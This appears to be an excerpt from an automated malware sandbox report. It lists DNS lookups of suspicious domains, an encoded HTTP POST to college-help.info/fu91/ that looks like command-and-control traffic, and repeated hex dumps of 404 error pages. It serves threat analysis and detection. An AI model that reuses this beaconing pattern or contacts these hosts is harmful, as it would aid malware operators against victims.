Source: global traffic	DNS traffic detected: DNS query: www.iuyi542.xyz
Source: global traffic	DNS traffic detected: DNS query: www.neg21.top
Source: global traffic	DNS traffic detected: DNS query: www.digitaladpro.shop
Source: global traffic	DNS traffic detected: DNS query: www.loginov.enterprises
Source: global traffic	DNS traffic detected: DNS query: www.wcp95.top
Source: global traffic	DNS traffic detected: DNS query: www.hasthosting.xyz

Source: unknown

HTTP traffic detected: POST /fu91/ HTTP/1.1Host: www.college-help.infoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brOrigin: http://www.college-help.infoContent-Type: application/x-www-form-urlencodedCache-Control: no-cacheConnection: closeContent-Length: 2163Referer: http://www.college-help.info/fu91/User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36Data Raw: 6d 46 70 74 59 62 3d 4b 58 62 46 59 64 78 42 76 41 48 48 50 4c 53 67 6f 46 43 4b 33 37 49 50 78 45 47 35 69 4a 6e 38 59 4f 51 33 42 6d 51 74 67 49 30 55 56 64 4c 71 63 69 79 35 5a 35 32 4d 58 4c 5a 46 73 7a 6a 7a 75 69 2b 63 4c 61 62 6c 73 5a 65 68 57 51 37 31 4e 37 75 49 4d 42 41 6a 30 64 74 52 30 79 69 34 45 72 43 77 70 79 66 66 54 42 6e 6b 56 30 6e 5a 4d 6c 2b 68 32 33 77 78 66 32 74 4e 65 44 65 43 4a 61 57 56 47 6d 4e 47 57 37 53 38 4d 6d 73 2b 50 35 33 2f 38 53 59 62 47 4b 47 33 65 48 59 68 68 30 54 4a 48 46 79 70 78 36 41 54 47 36 72 7a 71 2b 48 34 39 2b 4b 63 5a 61 37 57 4f 7a 43 45 48 43 33 77 4b 73 58 48 66 4d 33 6b 6f 2f 4e 71 66 57 31 74 61 76 6a 76 5a 69 48 34 6b 41 31 6a 75 69 45 78 4e 51 33 48 6c 50 35 35 53 68 71 76 53 49 54 78 39 78 49 41 35 6a 47 36 32 68 6d 61 69 79 78 58 66 62 4f 63 76 6f 74 65 68 36 75 78 64 58 2f 39 44 52 64 30 77 47 32 76 73 37 6e 53 69 37 5a 4a 75 31 59 5a 4f 2b 42 6c 4f 48 52 69 73 39 69 50 33 59 4c 67 51 53 76 75 4a 43 74 4e 6f 35 44 45 54 5a 45 38 35 62 34 67 63 70 64 49 6f 44 48 68 33 2f 53 75 6a 73 67 53 2f 6f 7a 35 6e 50 31 32 48 4e 33 6f 65 4a 71 71 6d 5a 4c 5a 72 62 35 66 4f 74 77 59 65 65 56 7a 45 41 73 77 57 55 4d 55 7a 58 51 79 2b 53 4b 6d 42 75 57 6d 4a 49 45 67 56 64 50 4f 72 43 2b 46 53 35 4e 4c 2f 66 75 4c 72 49 78 35 69 6a 32 56 37 6d 78 2b 79 71 65 64 75 59 79 78 56 2b 37 64 77 37 31 54 44 74 6b 77 55 4c 54 76 35 4a 6e 79 4d 32 35 6b 6c 35 6c 59 66 43 72 36 4a 49 4f 73 44 35 64 46 42 52 6c 6e 42 38 56 56 74 2f 6b 50 39 45 76 77 54 46 66 72 6d 4c 37 2b 65 66 34 59 70 50 54 75 65 34 42 6a 7a 41 5a 68 66 51 42 62 51 65 52 42 59 43 47 31 42 44 7a 78 70 37 33 42 38 70 6e 43 51 6c 43 46 32 54 30 49 68 61 47 65 56 79 75 50 44 78 36 61 63 48 61 79 4f 53 75 6b 52 48 63 4f 43 66 63 50 62 49 56 65 42 66 30 30 58 56 66 6e 2b 35 4e 59 48 30 6c 4b 44 43 32 5a 35 32 70 4a 43 76 6f 33 66 2f 36 6d 50 52 31 39 36 4c 37 4b 64 41 59 77 79 64 4f 4e 2b 32 44 55 57 47 7a 66 76 6c 70 76 6d 52 30 77 2f 32 79 47 6e 52 52 4e 69 6e 76 34 55 38 65 62 4a 31 43 5a 36 68 78 68 4d 6e 39 72 56 6d 67 41 71 37 67 70 6b 4d 4f 74 32 53 4e 65 6f 35 79 70 69 44 75 39 2b 2b 44 41 52 4d 46 2f 78 79 42 57 57 54 31 6d 71 75 37 35 58 69 76 66 38 55 36 45 4b 6e 33 4b 5a 38 63 52 51 57 6d 45 6d 38 72 49 51 4e 66 72 6e 74 78 49 4d 63 35 63 4c 63 57 6a 47 75 62 38 45 68 73 37 7a 4d 51 61 37 42 57 35 6c 37 73 36 69 2b 66 6f 37 43 41 4c 6e 4

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 07 Nov 2024 09:50:23 GMTServer: ApacheLast-Modified: Wed, 06 Nov 2024 18:10:13 GMTETag: "49d-626426de29b28"Accept-Ranges: bytesContent-Length: 1181Content-Type: text/htmlConnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 77 68 69 74 65 3b 22 3e 0d 0a 20 20 20 20 20 20 20 20 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 2e 73 70 65 61 63 68 62 75 62 62 6c 65 20 7b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 32 35 30 70 78 3b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 35 70 78 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 70 78 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 62 6c 61 63 6b 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 20 62 6f 74 74 6f 6d 2c 20 20 72 67 62 61 28 31 33 35 2c 31 33 35 2c 31 33 35 2c 31 29 20 30 25 2c 72 67 62 61 28 30 2c 30 2c 30 2c 31 29 20 31 30 30 25 29 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 38 70 78 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 30 70 78 3b 0d 0a 7d 0d 0a 2e 73 70 65 61 63 68 62 75 62 62 6c 65 3a 61 66 74 65 72 20 7b 0d 0a 20 20 20 20 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 2d 31 38 70 78 3b 0d 0a 20 20 20 20 6c 65 66 74 3a 20 31 30 32 70 78 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 20 73 6f 6c 69 64 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 31 38 70 78 20 32 31 70 78 20 30 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 62 6c 61 63 6b 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 30 3b 0d 0a 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 31 3b 0d 0a 7d 0d 0a 2e 73 70 65 61 63 68 62 75 62 62 6c 65 20 73 70 61 6e 20 7b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 0d 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 66 6f 6e 74 3a 37 32 70 78 20 61 72 69 61 6c 3b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 30 70 78 3b 0d 0a 20 20 20 20 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 34 70 78 20 34 70 78 20 32 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 2e 33 29 3b 0d 0a 7d 0d 0a 2e 6d 65 73 73 61 67 65 20 7b 0d 0a 20 20 20 20 66 6f 6e 74 3a 32 34 70 78 20 61 72 69 61 6c 3b 0d 0a 20 20 20 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 07 Nov 2024 09:50:26 GMTServer: ApacheLast-Modified: Wed, 06 Nov 2024 18:10:13 GMTETag: "49d-626426de29b28"Accept-Ranges: bytesContent-Length: 1181Content-Type: text/htmlConnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 77 68 69 74 65 3b 22 3e 0d 0a 20 20 20 20 20 20 20 20 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 2e 73 70 65 61 63 68 62 75 62 62 6c 65 20 7b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 32 35 30 70 78 3b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 35 70 78 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 70 78 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 62 6c 61 63 6b 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 20 62 6f 74 74 6f 6d 2c 20 20 72 67 62 61 28 31 33 35 2c 31 33 35 2c 31 33 35 2c 31 29 20 30 25 2c 72 67 62 61 28 30 2c 30 2c 30 2c 31 29 20 31 30 30 25 29 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 38 70 78 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 30 70 78 3b 0d 0a 7d 0d 0a 2e 73 70 65 61 63 68 62 75 62 62 6c 65 3a 61 66 74 65 72 20 7b 0d 0a 20 20 20 20 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 2d 31 38 70 78 3b 0d 0a 20 20 20 20 6c 65 66 74 3a 20 31 30 32 70 78 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 20 73 6f 6c 69 64 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 31 38 70 78 20 32 31 70 78 20 30 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 62 6c 61 63 6b 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 30 3b 0d 0a 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 31 3b 0d 0a 7d 0d 0a 2e 73 70 65 61 63 68 62 75 62 62 6c 65 20 73 70 61 6e 20 7b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 0d 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 66 6f 6e 74 3a 37 32 70 78 20 61 72 69 61 6c 3b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 30 70 78 3b 0d 0a 20 20 20 20 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 34 70 78 20 34 70 78 20 32 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 2e 33 29 3b 0d 0a 7d 0d 0a 2e 6d 65 73 73 61 67 65 20 7b 0d 0a 20 20 20 20 66 6f 6e 74 3a 32 34 70 78 20 61 72 69 61 6c 3b 0d 0a 20 20 20 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 07 Nov 2024 09:50:28 GMTServer: ApacheLast-Modified: Wed, 06 Nov 2024 18:10:13 GMTETag: "49d-626426de29b28"Accept-Ranges: bytesContent-Length: 1181Content-Type: text/htmlConnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 77 68 69 74 65 3b 22 3e 0d 0a 20 20 20 20 20 20 20 20 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 2e 73 70 65 61 63 68 62 75 62 62 6c 65 20 7b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 32 35 30 70 78 3b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 35 70 78 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 70 78 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 62 6c 61 63 6b 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 20 62 6f 74 74 6f 6d 2c 20 20 72 67 62 61 28 31 33 35 2c 31 33 35 2c 31 33 35 2c 31 29 20 30 25 2c 72 67 62 61 28 30 2c 30 2c 30 2c 31 29 20 31 30 30 25 29 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 38 70 78 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 30 70 78 3b 0d 0a 7d 0d 0a 2e 73 70 65 61 63 68 62 75 62 62 6c 65 3a 61 66 74 65 72 20 7b 0d 0a 20 20 20 20 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 2d 31 38 70 78 3b 0d 0a 20 20 20 20 6c 65 66 74 3a 20 31 30 32 70 78 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 20 73 6f 6c 69 64 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 31 38 70 78 20 32 31 70 78 20 30 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 62 6c 61 63 6b 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 30 3b 0d 0a 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 31 3b 0d 0a 7d 0d 0a 2e 73 70 65 61 63 68 62 75 62 62 6c 65 20 73 70 61 6e 20 7b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 0d 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 66 6f 6e 74 3a 37 32 70 78 20 61 72 69 61 6c 3b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 30 70 78 3b 0d 0a 20 20 20 20 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 34 70 78 20 34 70 78 20 32 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 2e 33 29 3b 0d 0a 7d 0d 0a 2e 6d 65 73 73 61 67 65 20 7b 0d 0a 20 20 20 20 66 6f 6e 74 3a 32 34 70 78 20 61 72 69 61 6c 3b 0d 0a 20 20 20 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 07 Nov 2024 09:50:31 GMTServer: ApacheLast-Modified: Wed, 06 Nov 2024 18:10:13 GMTETag: "49d-626426de29b28"Accept-Ranges: bytesContent-Length: 1181Content-Type: text/htmlConnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 77 68 69 74 65 3b 22 3e 0d 0a 20 20 20 20 20 20 20 20 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 2e 73 70 65 61 63 68 62 75 62 62 6c 65 20 7b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 32 35 30 70 78 3b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 35 70 78 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 70 78 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 62 6c 61 63 6b 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 20 62 6f 74 74 6f 6d 2c 20 20 72 67 62 61 28 31 33 35 2c 31 33 35 2c 31 33 35 2c 31 29 20 30 25 2c 72 67 62 61 28 30 2c 30 2c 30 2c 31 29 20 31 30 30 25 29 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 38 70 78 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 30 70 78 3b 0d 0a 7d 0d 0a 2e 73 70 65 61 63 68 62 75 62 62 6c 65 3a 61 66 74 65 72 20 7b 0d 0a 20 20 20 20 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 2d 31 38 70 78 3b 0d 0a 20 20 20 20 6c 65 66 74 3a 20 31 30 32 70 78 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 20 73 6f 6c 69 64 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 31 38 70 78 20 32 31 70 78 20 30 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 62 6c 61 63 6b 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 30 3b 0d 0a 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 31 3b 0d 0a 7d 0d 0a 2e 73 70 65 61 63 68 62 75 62 62 6c 65 20 73 70 61 6e 20 7b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 0d 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 66 6f 6e 74 3a 37 32 70 78 20 61 72 69 61 6c 3b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 30 70 78 3b 0d 0a 20 20 20 20 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 34 70 78 20 34 70 78 20 32 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 2e 33 29 3b 0d 0a 7d 0d 0a 2e 6d 65 73 73 61 67 65 20 7b 0d 0a 20 20 20 20 66 6f 6e 74 3a 32 34 70 78 20 61 72 69 61 6c 3b 0d 0a 20 20 20 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 07 Nov 2024 09:50:50 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 64 31 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 6b 6f 1b c7 15 fd ee 5f 31 66 01 91 b4 b9 bb 51 52 04 b6 45 52 79 38 fd 94 47 01 39 2d 0a 45 21 86 cb 11 b9 e6 72 97 dd 1d 4a a6 6d 01 89 9d 34 09 62 c4 68 1a a0 40 d0 a2 2f 14 fd 54 40 7e a8 51 fc 50 fe c2 f2 1f f5 dc 3b bb cb 25 45 ca 8f 38 45 05 48 22 67 67 ee dc b9 f7 dc 73 ef cc 6c fd 74 27 74 f5 78 a8 44 4f 0f fc 66 9d fe 0a d7 97 71 dc 28 79 71 4b 76 e4 50 7b 3b aa 24 7c 19 74 1b a5 68 54 42 1f 25 3b cd fa 40 69 29 dc 9e 8c 62 a5 1b a5 f7 2f fd c2 3a 87 67 dc 1a c8 81 6a 94 86 32 ea 7b 41 b7 24 dc 30 d0 2a 40 a7 48 75 a3 91 15 41 e6 6c cf 1d 4f ed 0e c3 48 17 ba ee 7a 1d dd 6b 74 d4 8e e7 2a 8b bf d4 bc c0 d3 9e f4 ad d8 95 be 6a ac 42 84 f6 b4 af 9a bb bb bb f6 00 73 29 3d f4 a5 ab 22 5b 87 c3 ba 63 9e d5 7d 2f e8 8b 48 f9 8d 52 ac c7 be 8a 7b 4a 61 9a 81 ea 78 b2 51 92 be 5f 12 bd 48 6d e7 ca b2 72 96 1c e9 d0 76 e3 18 53 4c c7 7b 58 46 d6 7b 5b 42 af 30 b0 f1 67 7d b5 24 c8 7e 30 d7 40 76 95 73 c5 e2 8e cd 7a ec 46 de 50 37 9d 33 f5 d3 9b 6f 5e 7c fd d2 eb 9b 67 9c 53 bb 5e d0 09 77 6d 1d 49 b7 bf c1 1d de 0e 65 47 34 c4 f6 28 70 b5 17 06 95 ea b5 bd b5 53 ce 99 ad ad e6 19 a7 ee a4 42 52 61 22 0c 7c 74 6f 94 16 8b a9 94 9d 81 0c bc 6d 15 6b fb 72 5c ae 96 d0 5f 45 51 18 3d e5 80 9a 58 c5 98 38 72 1b a5 a2 20 78 25 f3 f2 48 6f b3 97 9f 59 2f 82 0c 1c 47 16 89 9f 5a b7 f9 41 45 fd e6 9e 9d a4 a3 63 f0 da 0e 3b e3 0c d9 6d 6b 08 5f 09 f3 af 45 ee 6b a5 68 e5 36 c6 ed f4 53 ab dd 6d f9 5e b7 a7 81 07 92 a5 a2 a2 1c ee dc 6a a5 0f 48 e4 4c 8b 91 9e 62 be e3 ed 2c 1d 6a 05 a1 26 95 b4 ba 82 89 92 6f 92 a3 e4 51 72 90 3c 16 c9 77 c9 fe e4 23 7c bc 97 1c 4e 3e 9e dc c0 e7 43 fc 1e 25 77 93 7d 7a 7c 77 25 68 c7 c3 b5 3a a2 d1 c4 6d db 22 d4 66 58 ed 69 3d 8c 2f 38 0e 82 cf 46 f8 9a 60 08 c2 ed d0 f7 c3 5d 11 84 e1 50 01 25 f8 80 38 00 5a 54 04 3c cb a8 4b 41 dd 6a 23 ea fb 50 e6 af 34 bb 3d f9 68 72 b3 ee c8 66 dd c1 3a 9a f5 b9 c5 74 55 ab 95 46 ba b5 1b c9 e1 10 42 53 03 cf b7 b7 38 16 5b 88 05 d0 c2 d2 4e ec 96 5e 18 6b 90 88 15 6b a9 3d 17 0e 98 9b 75 c6 d6 56 3a 3f f9 69 75 6a 8d 39 8f 58 4c 0d a5 25 bc d1 5b 6d d6 87 cb c7 76 94 41 31 42 f5 d9 7d 55 6f 47 cd e4 d0 b8 2b f9 81 fc 98 fc c0 be 7d 70 cc 9b 33 26 1f 2e 5b 76 7b a4 75 18 c4 99 bd b1 ee 02 08 cc 43 68 69 3e c0 09 7e 18 b5 d8 cb 2a 70 09 6a e9 83 d8 bb aa 5a f0 ff 40 fa ec 8c d4 a6 f9 f8 dc 7e 69 7f 76 0c 38 b9 20 62 28 3b 1d b8 a9 e5 13 72 e6 91 47 04 6d d0 e7 ec f6 42 2f 76 d6 dd 9e 72 fb 8d 95 0e 27 8a 45 fc bd 22 07 c3 35 8c 69 c5 e1 28 72 55 23 53 81 98 b9 d4 fc 35 49 21 24 8a e2 7a 29 70 8a fa 33 75 17 e2 f1 e4 f5 74 c2 81 f4 72 82 cf 82 a6 a0 ba e9 e0 04 6a d7 59 1f e9 41 a6 d9 42 ed e9 39 e5 98 d1 20 d3 7c 85 9a 5c ac 4a 7a dd a0 11 c3 50 41 a7 05 59 27 2f 34 f9 3b 80 f1 9f e4 40 4c 3e 4d 8e 26 9f 4d 6e 8a e4 7e c6 0b a7 0b a1 18 0f 65 b0 00 b
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 07 Nov 2024 09:50:53 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 64 31 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 6b 6f 1b c7 15 fd ee 5f 31 66 01 91 b4 b9 bb 51 52 04 b6 45 52 79 38 fd 94 47 01 39 2d 0a 45 21 86 cb 11 b9 e6 72 97 dd 1d 4a a6 6d 01 89 9d 34 09 62 c4 68 1a a0 40 d0 a2 2f 14 fd 54 40 7e a8 51 fc 50 fe c2 f2 1f f5 dc 3b bb cb 25 45 ca 8f 38 45 05 48 22 67 67 ee dc b9 f7 dc 73 ef cc 6c fd 74 27 74 f5 78 a8 44 4f 0f fc 66 9d fe 0a d7 97 71 dc 28 79 71 4b 76 e4 50 7b 3b aa 24 7c 19 74 1b a5 68 54 42 1f 25 3b cd fa 40 69 29 dc 9e 8c 62 a5 1b a5 f7 2f fd c2 3a 87 67 dc 1a c8 81 6a 94 86 32 ea 7b 41 b7 24 dc 30 d0 2a 40 a7 48 75 a3 91 15 41 e6 6c cf 1d 4f ed 0e c3 48 17 ba ee 7a 1d dd 6b 74 d4 8e e7 2a 8b bf d4 bc c0 d3 9e f4 ad d8 95 be 6a ac 42 84 f6 b4 af 9a bb bb bb f6 00 73 29 3d f4 a5 ab 22 5b 87 c3 ba 63 9e d5 7d 2f e8 8b 48 f9 8d 52 ac c7 be 8a 7b 4a 61 9a 81 ea 78 b2 51 92 be 5f 12 bd 48 6d e7 ca b2 72 96 1c e9 d0 76 e3 18 53 4c c7 7b 58 46 d6 7b 5b 42 af 30 b0 f1 67 7d b5 24 c8 7e 30 d7 40 76 95 73 c5 e2 8e cd 7a ec 46 de 50 37 9d 33 f5 d3 9b 6f 5e 7c fd d2 eb 9b 67 9c 53 bb 5e d0 09 77 6d 1d 49 b7 bf c1 1d de 0e 65 47 34 c4 f6 28 70 b5 17 06 95 ea b5 bd b5 53 ce 99 ad ad e6 19 a7 ee a4 42 52 61 22 0c 7c 74 6f 94 16 8b a9 94 9d 81 0c bc 6d 15 6b fb 72 5c ae 96 d0 5f 